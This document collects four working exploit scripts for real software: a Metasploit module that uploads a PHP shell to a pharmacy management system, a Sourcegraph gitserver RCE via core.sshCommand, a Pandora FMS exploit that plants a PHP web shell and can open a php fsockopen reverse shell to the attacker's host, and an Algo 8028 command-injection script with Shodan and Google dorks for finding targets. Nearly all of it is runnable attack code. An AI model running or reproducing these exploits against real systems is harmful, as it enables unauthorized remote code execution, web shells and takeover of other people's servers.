<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br /># Vendor: https://www.mayurik.com/source-code/P0349/best-pharmacy-billing-software-free-download<br /># Source: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /><br /> def initialize(info={})<br /> super(update_info(info,<br /> 'Name' => "Multi Language Pharmacy Management System Unauthenticated Remote Code Execution",<br /> 'Description' => %q{<br /> This module exploits the file upload vulnerability of Multi Language Pharmacy Management System and allows remote code execution.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' =><br /> [<br /> 'Emirhan Kurt <emirhan@prodaft.com>' # author & msf module<br /> ],<br /> 'References' =><br /> [<br /> ['URL', 'https://prodaft.com']<br /> ],<br /> 'DefaultOptions' =><br /> {<br /> 'SSL' => false,<br /> 'WfsDelay' => 5,<br /> },<br /> 'Platform' => ['php'],<br /> 'Arch' => [ ARCH_PHP],<br /> 'Targets' =><br /> [<br /> ['PHP payload',<br /> {<br /> 'Platform' => 'PHP',<br /> 'Arch' => ARCH_PHP,<br /> 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'}<br /> }<br /> ]<br /> ],<br /> 'Privileged' => false,<br /> 'DisclosureDate' => "Dec 19 2018",<br /> 'DefaultTarget' => 0<br /> ))<br /><br /> register_options(<br /> [<br /> OptString.new('TARGETURI', [true, 'The TARGET URI of the Pharmacy Management', '/'])<br /> ]<br /> )<br /> end<br /><br /> def exploit<br /><br /> print_status('Uploading shell...')<br /><br /> fname = rand_text_alphanumeric(rand(10) + 6) + '.php'<br /><br /> boundary = "---------------------------#{rand_text_numeric(29)}"<br /> data_post = "--#{boundary}\r\n"<br /> data_post << "Content-Disposition: form-data; name=\"currnt_date\""<br /> data_post << "\r\n\r\n"<br /> data_post << "\r\n"<br /> data_post << "--#{boundary}\r\n"<br /> data_post << "Content-Disposition: form-data; name=\"Medicine\"; filename=\"#{fname}\"\r\n"<br /> data_post << "Content-Type: application/x-php\r\n"<br /> data_post << "\r\n#{payload.encoded}\r\n"<br /> data_post << "--#{boundary}\r\n"<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path,'php_action/createProduct.php'),<br /> 'ctype' => "multipart/form-data; boundary=#{boundary}",<br /> 'data' => data_post,<br /> })<br /><br /> if res && res.code == 302 && res.body.include?('Image uploaded successfully')<br /> print_good("Shell uploaded as #{fname}")<br /> else<br /> print_error("Server responded with code #{res.code}")<br /> print_error("Failed to upload shell")<br /> return false<br /> end<br /><br /> print_status('Executing payload...')<br /> send_request_cgi({<br /> 'uri' => normalize_uri(target_uri.path,'assets/myimages/'+fname),<br /> 'method' => 'GET'<br /> }, 5)<br /><br /> if res<br /> print_good("Payload successfully triggered !")<br /> else<br /> print_error("Server responded with code #{res.code}")<br /> print_error("Failed to upload shell")<br /> return false<br /> end<br /><br /> handler<br /><br /> end<br />end<br /></code></pre>
<pre><code># Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)<br /># Date: 2022-06-10<br /># Exploit Author: Altelus<br /># Vendor Homepage: https://about.sourcegraph.com/<br /># Version: 3.63.3 <br /># Tested on: Linux<br /># CVE : CVE-2022-23642<br /># Docker Container: sourcegraph/server:3.36.3<br /><br /># Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service. <br /># This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed <br /># on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible <br /># if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3<br />#<br /># Exploitation parameters:<br /># - Exposed Sourcegraph gitserver<br /># - Existing repo on sourcegraph<br /><br /><br /><br />import json<br />import argparse<br />import requests<br /><br />def exploit(host, existing_git, cmd):<br /><br /> # setting sshCommand<br /> data = {<br /> "Repo" : existing_git,<br /> "Args" : [<br /> "config",<br /> "core.sshCommand",<br /> cmd<br /> ]<br /> }<br /><br /> res = requests.get(host+"/exec", json=data).text<br /><br /> if len(res) > 0:<br /> print("[-] Didn't work: {}".format(res))<br /> exit(0)<br /><br /> # setting fake origin<br /> data = {<br /> "Repo" : existing_git,<br /> "Args" : [<br /> "remote",<br /> "add",<br /> "origin",<br /> "git@lolololz:foo/bar.git"<br /> ]<br /> }<br /><br /> res = requests.get(host+"/exec", json=data).text<br /><br /> if len(res) > 0:<br /> print("[-] Didn't work: {}".format(res))<br /> exit(0)<br /><br /> # triggering command using push<br /> data = {<br /> "Repo" : existing_git,<br /> "Args" : [<br /> "push",<br /> "origin",<br /> "master"<br /> ]<br /> }<br /><br /> res = requests.get(host+"/exec", json=data).text<br /><br /> print("[*] Finished executing exploit")<br /><br />parser = argparse.ArgumentParser()<br /><br />parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host")<br />parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph")<br />parser.add_argument('--cmd', required=True, help="Command to run")<br />args = parser.parse_args()<br /><br />host = args.gitserver_host<br />existing_git = args.existing_git<br />cmd = args.cmd<br /><br /><br />exploit(host, existing_git, cmd)<br /> <br /></code></pre>
<pre><code># Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)<br /># Date: 05/20/2022<br /># Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)<br /># Vendor Homepage: https://pandorafms.com/<br /># Software Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz<br /># Version: v7.0NG.742<br /># Tested on: Pandora FMS v7.0NG.742 (Ubuntu)<br /># CVE: CVE-2020-5844<br /># Source: https://github.com/UNICORDev/exploit-CVE-2020-5844<br /># Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020.<br /><br />#!/usr/bin/env python3<br /><br /># Imports<br />try:<br /> import requests<br />except:<br /> print(f"ERRORED: RUN: pip install requests")<br /> exit()<br />import sys<br />import time<br />import urllib.parse<br /><br /># Class for colors<br />class color:<br /> red = '\033[91m'<br /> gold = '\033[93m'<br /> blue = '\033[36m'<br /> green = '\033[92m'<br /> no = '\033[0m'<br /><br /># Print UNICORD ASCII Art<br />def UNICORD_ASCII():<br /> print(rf"""<br />{color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no}<br />{color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no}<br />{color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no}<br />{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}<br /> """)<br /><br /># Print exploit help menu<br />def help():<br /> print(r"""UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution<br /><br />Usage:<br /> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password><br /> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID><br /> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>]<br /> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>]<br /> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>]<br /> python3 exploit-CVE-2020-5844.py -h<br /><br />Options:<br /> -t Target host and port. Provide target IP address and port.<br /> -u Target username and password. Provide username and password to log in to Pandora FMS.<br /> -p Target valid PHP session ID. No username or password needed. (Optional)<br /> -s Reverse shell mode. Provide local IP address and port. (Optional)<br /> -c Custom command mode. Provide command to execute. (Optional)<br /> -w Web shell custom mode. Provide custom PHP file name. (Optional)<br /> -h Show this help menu.<br />""")<br /> exit()<br /><br /># Pretty loading wheel<br />def loading(spins):<br /><br /> def spinning_cursor():<br /> while True:<br /> for cursor in '|/-\\':<br /> yield cursor<br /><br /> spinner = spinning_cursor()<br /> for _ in range(spins):<br /> sys.stdout.write(next(spinner))<br /> sys.stdout.flush()<br /> time.sleep(0.1)<br /> sys.stdout.write('\b')<br /><br /># Run the exploit<br />def exploit(exploitMode, targetSess):<br /><br /> UNICORD_ASCII()<br /><br /> # Print initial variables<br /> print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution{color.no}")<br /> print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")<br /> if targetSess is not None:<br /> print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")<br /> elif targetUser is not None:<br /> print(f"{color.blue}USERNAME: {color.gold}{targetUser}{color.no}")<br /> print(f"{color.blue}PASSWORD: {color.gold}{targetPass}{color.no}")<br /><br /> if exploitMode == "command":<br /> print(f"{color.blue}COMMAND: {color.gold}{command}{color.no}")<br /> if exploitMode == "web":<br /> print(f"{color.blue}WEBFILE: {color.gold}{webName}{color.no}")<br /> if exploitMode == "shell":<br /> print(f"{color.blue}LOCALIP: {color.gold}{localIP}:{localPort}{color.no}")<br /> print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")<br /> print(f"{color.blue}WEBSITE: {color.gold}http://{targetIP}:{targetPort}/pandora_console{color.no}")<br /><br /> loading(15)<br /><br /> # If a PHPSESSID is not provided, grab one with valid username and password<br /> if targetSess is None:<br /> try:<br /> getSession = requests.post(f"http://{targetIP}:{targetPort}/pandora_console/index.php?login=1", data={"nick": targetUser, "pass": targetPass, "login_button": "login"})<br /> targetSess = getSession.cookies.get('PHPSESSID')<br /> print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}")<br /> if "login_move" in getSession.text:<br /> print(f"{color.blue}ERRORED: {color.red}Invalid credentials!{color.no}")<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Could not log in to website!{color.no}")<br /> exit()<br /><br /> # Set headers, parameters, and cookies for post request<br /> headers = {<br /> 'Host': f'{targetIP}',<br /> 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0',<br /> 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',<br /> 'Accept-Language': 'en-US,en;q=0.5',<br /> 'Accept-Encoding': 'gzip, deflate',<br /> 'Content-Type': 'multipart/form-data; boundary=---------------------------308045185511758964171231871874',<br /> 'Content-Length': '1289',<br /> 'Connection': 'close',<br /> 'Referer': f'http://{targetIP}:{targetPort}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager',<br /> 'Upgrade-Insecure-Requests': '1',<br /> 'Sec-Fetch-Dest': 'document',<br /> 'Sec-Fetch-Mode': 'navigate',<br /> 'Sec-Fetch-Site': 'same-origin',<br /> 'Sec-Fetch-User': '?1'<br /> }<br /> params = (<br /> ('sec', 'gsetup'),<br /> ('sec2', 'godmode/setup/file_manager')<br /> )<br /> cookies = {'PHPSESSID': targetSess}<br /> # Basic PHP web shell with 'cmd' parameter<br /> data = f'-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="file"; filename="{webName}"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']);?>\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="umask"\r\n\r\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="decompress_sent"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="go"\r\n\r\nGo\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="real_directory"\r\n\r\n/var/www/pandora/pandora_console/images\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="directory"\r\n\r\nimages\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash"\r\n\r\n6427eed956c3b836eb0644629a183a9b\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash2"\r\n\r\n594175347dddf7a54cc03f6c6d0f04b4\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="upload_file_or_zip"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874--\r\n'<br /><br /> # Try to upload the PHP web shell to the server<br /> try:<br /> response = requests.post(f'http://{targetIP}:{targetPort}/pandora_console/index.php', headers=headers, params=params, cookies=cookies, data=data, verify=False)<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Could not connect to website!{color.no}")<br /> exit()<br /> statusCode=response.status_code<br /> if statusCode == 200:<br /> print(f"{color.blue}EXPLOIT: {color.gold}Connected to website! Status Code: {statusCode}{color.no}")<br /> else:<br /> print(f"{color.blue}ERRORED: {color.red}Could not connect to website! Status Code: {statusCode}{color.no}")<br /> exit()<br /> loading(15)<br /><br /> print(f"{color.blue}EXPLOIT: {color.gold}Logged into Pandora FMS!{color.no}")<br /> loading(15)<br /><br /> # Print web shell location if in web shell mode<br /> if exploitMode == "web":<br /> print(f"{color.blue}EXPLOIT: {color.gold}Web shell uploaded!{color.no}")<br /> print(f"{color.blue}SUCCESS: {color.green}Web shell available at: http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd=whoami {color.no}\n")<br /><br /> # Run custom command on web shell if in command mode<br /> if exploitMode == "command":<br /> response = requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(command)}')<br /> print(f"{color.blue}SUCCESS: {color.green}Command executed! Printing response below:{color.no}\n")<br /> print(response.text)<br /><br /> # Run reverse shell command if in reverse shell mode<br /> if exploitMode == "shell":<br /> shell = f"php -r \'$sock=fsockopen(\"{localIP}\",{localPort});exec(\"/bin/sh -i <&3 >&3 2>&3\");\'"<br /> try:<br /> requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(shell)}',timeout=1)<br /> print(f"{color.blue}ERRORED: {color.red}Reverse shell could not connect! Make sure you have a local listener on {color.gold}{localIP}:{localPort}{color.no}\n")<br /> except:<br /> print(f"{color.blue}SUCCESS: {color.green}Reverse shell executed! Check your local listener on {color.gold}{localIP}:{localPort}{color.no}\n")<br /><br /> exit()<br /><br />if __name__ == "__main__":<br /><br /> args = ['-h','-t','-u','-p','-s','-c','-w']<br /> modes = {'web':'Web Shell Mode','command':'Command Shell Mode','shell':'Reverse Shell Mode'}<br /><br /> # Initialize starting variables<br /> targetIP = None<br /> targetPort = None<br /> targetUser = None<br /> targetPass = None<br /> targetSess = None<br /> command = None<br /> localIP = None<br /> localPort = None<br /> webName = "unicord.php" # Default web shell file name<br /> exploitMode = "web" # Default to web shell mode<br /><br /> # Print help if specified or if a target or authentication is not provided<br /> if args[0] in sys.argv or args[1] not in sys.argv or (args[2] not in sys.argv and args[3] not in sys.argv):<br /> help()<br /><br /> # Collect target IP and port from CLI<br /> if args[1] in sys.argv:<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[1]) + 1]:<br /> raise<br /> targetIP = sys.argv[sys.argv.index(args[1]) + 1]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")<br /> exit()<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[1]) + 2]:<br /> raise<br /> targetPort = sys.argv[sys.argv.index(args[1]) + 2]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")<br /> exit()<br /><br /> # Collect target username and password from CLI<br /> if args[2] in sys.argv:<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[2]) + 1]:<br /> raise<br /> targetUser = sys.argv[sys.argv.index(args[2]) + 1]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}")<br /> exit()<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[2]) + 2]:<br /> raise<br /> targetPass = sys.argv[sys.argv.index(args[2]) + 2]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}")<br /> exit()<br /><br /> # Collect PHPSESSID from CLI, if specified<br /> if args[3] in sys.argv:<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[3]) + 1]:<br /> raise<br /> targetSess = sys.argv[sys.argv.index(args[3]) + 1]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide a valid PHPSESSID! \"-p <PHPSESSID>\"{color.no}")<br /> exit()<br /><br /> # Set reverse shell mode from CLI, if specified<br /> if args[4] in sys.argv:<br /> exploitMode = "shell"<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[4]) + 1]:<br /> raise<br /> localIP = sys.argv[sys.argv.index(args[4]) + 1]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}")<br /> exit()<br /> try:<br /> if "-" in sys.argv[sys.argv.index(args[4]) + 2]:<br /> raise<br /> localPort = sys.argv[sys.argv.index(args[4]) + 2]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}")<br /> exit()<br /> exploit(exploitMode,targetSess)<br /><br /> # Set custom command mode from CLI, if specified<br /> elif args[5] in sys.argv:<br /> exploitMode = "command"<br /> try:<br /> if sys.argv[sys.argv.index(args[5]) + 1] in args:<br /> raise<br /> command = sys.argv[sys.argv.index(args[5]) + 1]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")<br /> exit()<br /> exploit(exploitMode,targetSess)<br /><br /> # Set web shell mode from CLI, if specified<br /> elif args[6] in sys.argv:<br /> exploitMode = "web"<br /> try:<br /> if sys.argv[sys.argv.index(args[6]) + 1] in args:<br /> raise<br /> if ".php" not in sys.argv[sys.argv.index(args[6]) + 1]:<br /> webName = sys.argv[sys.argv.index(args[6]) + 1] + ".php"<br /> else:<br /> webName = sys.argv[sys.argv.index(args[6]) + 1]<br /> except:<br /> print(f"{color.blue}ERRORED: {color.red}Provide a custom PHP file name! \"-c <name.php>\"{color.no}")<br /> exit()<br /> exploit(exploitMode,targetSess)<br /><br /> # Run with default web shell mode if no mode is specified<br /> else:<br /> exploit(exploitMode,targetSess)<br /> <br /></code></pre>
<pre><code># Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)<br /># Google Dork: intitle:"Algo 8028 Control Panel"<br /># Shodan: title:"Algo 8028 Control Panel"<br /># Date: 2022-06-07<br /># Exploit Author: Filip Carlsson<br /># Vendor Homepage: https://www.algosolutions.com/<br /># Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/<br /># Version: 3.3.3<br /># Tested on: Version 3.3.3<br /># CVE : N/A<br /># Exploit:<br /><br /># Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root<br /># Request: POST<br /># Formdata:<br /># action: rename<br /># source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;"<br /># target: /<br /><br />#!/usr/bin/env python3<br />import sys<br />import requests<br /><br />cookie=None<br /><br />def main():<br /> # check if provided 3 args<br /> if len(sys.argv) != 4:<br /> print_help()<br /> return<br /> else:<br /> host = sys.argv[1]<br /> password = sys.argv[2]<br /> command = sys.argv[3]<br /><br /> if login(host, password):<br /> # if login was successful, send command<br /> send_command(host, command)<br /><br />def print_help():<br /> print("Usage: algo.py 192.168.1.123 password command")<br /> print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"")<br /><br />def login(host, password):<br /> url = f"http://{host}/index.lua"<br /> data = {"pwd": password}<br /> res = requests.post(url, data=data)<br /><br /> # check if html contains "Invalid Password"<br /> if "Invalid Password" in res.text:<br /> print("Invalid password")<br /> return False<br /> else:<br /> # save cookie<br /> global cookie<br /> cookie = res.cookies<br /> print("Successfully logged in\n")<br /> return True<br /><br />def send_command(host, command):<br /> url = f"http://{host}/control/fm-data.lua"<br /> data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"}<br /> res = requests.post(url, data=data, cookies=cookie)<br /><br /> # get http://host/cmd.txt<br /> url = f"http://{host}/a.txt"<br /> res = requests.get(url)<br /><br /> # if "404 Not Found" in text then command was not executed<br /> if "404 Not Found" in res.text:<br /> print("Command was not executed (404)")<br /> else:<br /> print(res.text)<br /><br /> # delete cmd.txt<br /> url = f"http://{host}/control/fm-data.lua"<br /> data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"}<br /> requests.post(url, data=data, cookies=cookie)<br /><br />if __name__ == "__main__":<br /> main()<br /> <br /></code></pre>